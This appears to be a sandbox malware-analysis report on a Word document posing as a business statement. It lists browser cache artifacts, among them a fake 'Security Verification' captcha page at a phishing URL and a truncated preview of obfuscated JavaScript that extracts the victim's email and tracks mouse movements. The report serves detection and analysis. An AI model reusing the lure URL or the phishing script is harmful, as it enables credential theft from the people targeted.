                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:dropped
                                Size (bytes):663
                                Entropy (8bit):7.312896952180351
                                Encrypted:false
                                SSDEEP:
                                MD5:2891BC60CFD58201CB40A6C6B5219D36
                                SHA1:E0B9B217FFBE558FB58EC07E6E95B24169EAF840
                                SHA-256:F3C08534D05EB9B2334B4623DDF24C6F6F3520D4B9AD7526F1EAA64799B75F8B
                                SHA-512:83E901D0BC919522C48CD341E3BCD0649D931669C6A203392FB91ED27105E27FF41468D79B51CCEF8B4EF322FBF93C9EF30747C3C0F22188D276B47454A3D072
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...d...d.............pHYs..........+.....IIDATx...j.A...$.].J ...-,E....;.L.&UP.ER.|.._@!]b%X.]...@......R,...n...........3{.sa.....a......A6n.......o Y.;O.o...K........fp}.BL...d..d..5;Y...2U.....X...S...r.D|s..q.\Xo>....|..TY`.N...K....V[R....zU..X1...^>Nx'.re..[\y..-.N-.Q...(6_..9.^...................c{..[.Q.,.X .@b....U...b....U....X..6{...5....X....*...K.5^`._....u....94.)..'.t..?..yp.w.%........:...S}5.g...-...?.W.Iv....~fO+..-j...$.h......!e..v.........$.H,.X .@b.......$.H,.X .@b.......$.H,.X .@b.......$.H,.X .@b.......$.(.9....R...._..........$.H,.X .@b...%{...cw.\Y .@b.......$.H,....r...%...w...oDb..p....IEND.B`.

                                Chrome Cache Entry: 115

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):50
                                Entropy (8bit):4.16307418942857
                                Encrypted:false
                                SSDEEP:
                                MD5:B54712EE6F4F79953E67901479FC1C3B
                                SHA1:C3781DBAECB71A88EE2E52C2420072FA41CB71CE
                                SHA-256:22BDF8171FB2018FC9837F7E76A2749B0F46C224392FF36CC48A50B464ABBC3A
                                SHA-512:189B62EECB8F530039E7DB71CEBD773E072950C06B56DF540726110E68AC815DBE8A5166A46D3A29E63E77B4BDEB72D5875487DC097FA30DDF2413C08DF58D33
                                Malicious:false
                                Reputation:unknown
                                Preview:{"error":"Missing required fields","blocked":true}

                                Chrome Cache Entry: 117

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
                                Category:dropped
                                Size (bytes):61
                                Entropy (8bit):3.990210155325004
                                Encrypted:false
                                SSDEEP:
                                MD5:9246CCA8FC3C00F50035F28E9F6B7F7D
                                SHA1:3AA538440F70873B574F40CD793060F53EC17A5D
                                SHA-256:C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
                                SHA-512:A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

                                Chrome Cache Entry: 84

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:downloaded
                                Size (bytes):217
                                Entropy (8bit):4.503451809888232
                                Encrypted:false
                                SSDEEP:
                                MD5:9E77460897D438F0A976EDADC8883216
                                SHA1:3C06A9CA500B2499AC94D97B0947D971A5D17753
                                SHA-256:5374BF146384EC9AEDC4214F8AC165DBB8C548E7C4A66A3F5F9CE1D24539CB6B
                                SHA-512:86DDB15149078E6D60626A8BEB6BEE86F17BBD67C0FCCE2A9A4E050D3696303B7484E67A778271845317B2299C11CFDE4FCBB67649BB420CED95CAAB1EC7E117
                                Malicious:false
                                Reputation:unknown
                                URL:https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/get_images.php
                                Preview:["captcha_images\/6737a936d24e3.png","captcha_images\/6737a936d364d.png","captcha_images\/6737a941a9c6d.png","captcha_images\/6737a941ac3e9.png","captcha_images\/6737a941ad176.png","captcha_images\/6737a941add0d.png"]

                                Chrome Cache Entry: 87

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (7618), with no line terminators
                                Category:dropped
                                Size (bytes):7618
                                Entropy (8bit):5.394425152340692
                                Encrypted:false
                                SSDEEP:
                                MD5:371638785486230CFD103C1E355A8D79
                                SHA1:B0B97E25FE8542F89B76CD84534B7676D36262DB
                                SHA-256:F9B207E6D7A3A9BAF2CC086DA24EC1F60AE64DE83B4B4FD27E74E6B99FE17F0D
                                SHA-512:80AD7C0260A29B1EA31DFAE9F42A40FF633B8EB7832216680508D704B05305548B617979D99C984042499996FD4BD11DBCB5BF728225505C4E78556A9DD4FEFE
                                Malicious:false
                                Reputation:unknown
                                Preview:const _0x50eb76=_0xa93f;(function(_0x5318f6,_0x37e9e8){const _0x55eaef=_0xa93f,_0x1d981e=_0x5318f6();while(!![]){try{const _0x34adaf=-parseInt(_0x55eaef(0x198))/0x1+parseInt(_0x55eaef(0x176))/0x2*(-parseInt(_0x55eaef(0x173))/0x3)+-parseInt(_0x55eaef(0x174))/0x4*(parseInt(_0x55eaef(0x161))/0x5)+parseInt(_0x55eaef(0x14d))/0x6*(-parseInt(_0x55eaef(0x179))/0x7)+parseInt(_0x55eaef(0x155))/0x8+-parseInt(_0x55eaef(0x165))/0x9+parseInt(_0x55eaef(0x180))/0xa;if(_0x34adaf===_0x37e9e8)break;else _0x1d981e['push'](_0x1d981e['shift']());}catch(_0x1c9068){_0x1d981e['push'](_0x1d981e['shift']());}}}(_0x1bc3,0x7ebea));let extractedEmail='',mouseMovements=[],mouseDownDuration=null;function _0xa93f(_0x25bd85,_0x10afe9){const _0x1bc318=_0x1bc3();return _0xa93f=function(_0xa93fe4,_0x209a26){_0xa93fe4=_0xa93fe4-0x14d;let _0xaeccec=_0x1bc318[_0xa93fe4];return _0xaeccec;},_0xa93f(_0x25bd85,_0x10afe9);}const startTime=Date['now']();let failedAttempts=0x0;function extractEmail(){const _0x1e2735=_0xa93f,_0xbed4

                                Chrome Cache Entry: 88

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:HTML document, ASCII text, with CRLF line terminators
                                Category:downloaded
                                Size (bytes):2295
                                Entropy (8bit):4.229227970157635
                                Encrypted:false
                                SSDEEP:
                                MD5:1207ED9BD84BA2B29BE99041E91D757D
                                SHA1:8F7FFB2A87AA3D7B436573F6C6E24BD837F0F085
                                SHA-256:ACB046E46730A3FA69B5F61D6F822CD3F9DCF40CF6C1D44998B9C53B21F422B1
                                SHA-512:E93A33F0A35907C15959AD38E0FC221125A7040A9C307C863DC0BCE58F5218EE61D44010C1AEA2096137DD6380B97EE569B45956EC53EBF04C3824C8C57DF73E
                                Malicious:false
                                Reputation:unknown
                                URL:https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/?%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54&_branch_match_id=1408774826209477055&_branch_referrer=H4sIAAAAAAAAAx2OQWuDQBSEf425rZpV11qQEtJqSysNtYTSy%2FJMnnHjRu3bFcmlv72bwhzmG5hhOmsncx8E59nYZaTe%2BDBNvlZDHzx4PD4iTjeQE9gu93gBGskaZ6y6oBzbVhL%2BzGj%2Bs3UEoknbkDUckMVrkbC7tAnZEYRII5FEkMQrt9qC1g0cejmTzrvbAy%2FauL6TRqBhQa19hQ7fq6F%2Ftt%2FVKw8%2FtupcZ%2FBZ7FiRfb1dxbgPXzbKVNfoVKc1PZYLt1n9lBz2VTkXVO4SWa5%2BCVskUsNJNjQuBinfdjRe8A%2BCScPz%2BQAAAA%3D%3D
                                Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Security Verification</title>.. <style>.. body, html {.. height: 100%;.. display: flex;.. align-items: center;.. justify-content: center;.. margin: 0;.. font-family: Arial, sans-serif;.. }.. .captcha-container {.. text-align: center;.. }.. #target-image {.. display: none; /* Hide initially */.. margin: 0 auto;.. transform: rotate(15deg);.. max-width: 100px;.. }.. #target-image.loaded {.. display: block; /* Show when loaded */.. }.. #image-options {.. display: flex;.. flex-wrap: wrap;.. justify-content: center;.. gap: 10px;.. margin-top: 20px;.. }.. .captcha-option {..

                                Chrome Cache Entry: 93

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (48316), with no line terminators
                                Category:downloaded
                                Size (bytes):48316
                                Entropy (8bit):5.6346993394709
                                Encrypted:false
                                SSDEEP:
                                MD5:2CA03AD87885AB983541092B87ADB299
                                SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                Malicious:false
                                Reputation:unknown
                                URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

                                Chrome Cache Entry: 94

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (65447)
                                Category:downloaded
                                Size (bytes):89501
                                Entropy (8bit):5.289893677458563
                                Encrypted:false
                                SSDEEP:
                                MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                Malicious:false
                                Reputation:unknown
                                URL:https://code.jquery.com/jquery-3.6.0.min.js
                                Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

                                Chrome Cache Entry: 98

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):66
                                Entropy (8bit):4.125284795947883
                                Encrypted:false
                                SSDEEP:
                                MD5:13C49ED47CFF6FD51A9C0FC9580D72E0
                                SHA1:E29DC70891FD235A87C137E5EA3E2F865820026E
                                SHA-256:CAC9DD1718BFE86EA276C2F9A0F3267526BE43EA08B6D6791114FCFBF8242A9A
                                SHA-512:BC744238BE46BA3B7D502114D18208CDBA4E666F0FF4E34BDF8D6B03B016C264626686809168F198AFCF5BA56890FF6EBE9D24539655BFD312A0CE562777F62D
                                Malicious:false
                                Reputation:unknown
                                Preview:{"success":false,"redirect_url":"","error":"Invalid request data"}

                                Chrome Cache Entry: 99

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with no line terminators
                                Category:downloaded
                                Size (bytes):16
                                Entropy (8bit):3.75
                                Encrypted:false
                                SSDEEP:
                                MD5:1C00791C6499AE9E2B8C2690A8EF6238
                                SHA1:6B6189E52D08CCED40FDEEB3D2D95D6632DEB892
                                SHA-256:69D57ADAC4C4FDE0A89BE69A2D3E9C994CD197E281E78833F47BEF2758BD537A
                                SHA-512:E5E187E5DE613E76B0E35604715DEBA7B4923ADF7BFB3E1EEFCA683C7D92495155ECD2978AB718E19EA7252091138370F2CDF843AF070D5910B1A1F2141EAA5B
                                Malicious:false
                                Reputation:unknown
                                URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAk5JpLnwN6JpxIFDR_Ky0o=?alt=proto
                                Preview:CgkKBw0fystKGgA=

                                Static File Info

                                General

                                File type:Microsoft Word 2007+
                                Entropy (8bit):7.986204159909184
                                TrID:
                                • Word Microsoft Office Open XML Format document (49504/1) 58.23%
                                • Word Microsoft Office Open XML Format document (27504/1) 32.35%
                                • ZIP compressed archive (8000/1) 9.41%
                                File name:Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx
                                File size:87'482 bytes
                                MD5:a7237561723f4df17e49a0eb4fc9e51e
                                SHA1:d5c08ae0705c0e1f2be638bfa562dbfca8cd3a71
                                SHA256:681affb5fa1e72f70033a2e0e4b7aa6c1585af6090ecad6266791347e5ccb1e4
                                SHA512:688c1a753b595cffc1f43e89af44b74fb7e22fba15a9dc49543ab6ac8b5fde510c4a0e1ba96a52cd890da543e37ea9db3ab89bfc8504248c815f39f7d55b6482
                                SSDEEP:1536:NwjAaSdYvqZyuorHCHs6U8zhB2IcSPwegVV7P++N2IAcg+ZHyYDJdNtD6kp:OjAtYveDYCHrzTlDsVB++NTJg8y4dPDL
                                TLSH:B8830109E2434655C32A9C77204B3578E265B95DEA70DEEFFBA832E442D720317E884F
                                File Content Preview:PK..........0ZB...Z...[.......[Content_Types].xml...N.0.E.%..%nY .....P...kOR..dO_..$..Um...X.g...#....5..b...lX.X.Nz.]]..V.=.......J.......&@.H.R......$.`E*|.G..G+....A..Q.........a..................,{..5Q%.......$.I{....R ....=.... e...:..j8....&..o4...

                                File Icon

                                Icon Hash:35e5c48caa8a8599

                                Static OLE Info

                                General

                                Document Type:OpenXML
                                Number of OLE Files:1

                                OLE File "Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx"

                                Indicators
                                Has Summary Info:
                                Application Name:
                                Encrypted Document:False
                                Contains Word Document Stream:True
                                Contains Workbook/Book Stream:False
                                Contains PowerPoint Document Stream:False
                                Contains Visio Document Stream:False
                                Contains ObjectPool Stream:False
                                Flash Objects Count:0
                                Contains VBA Macros:False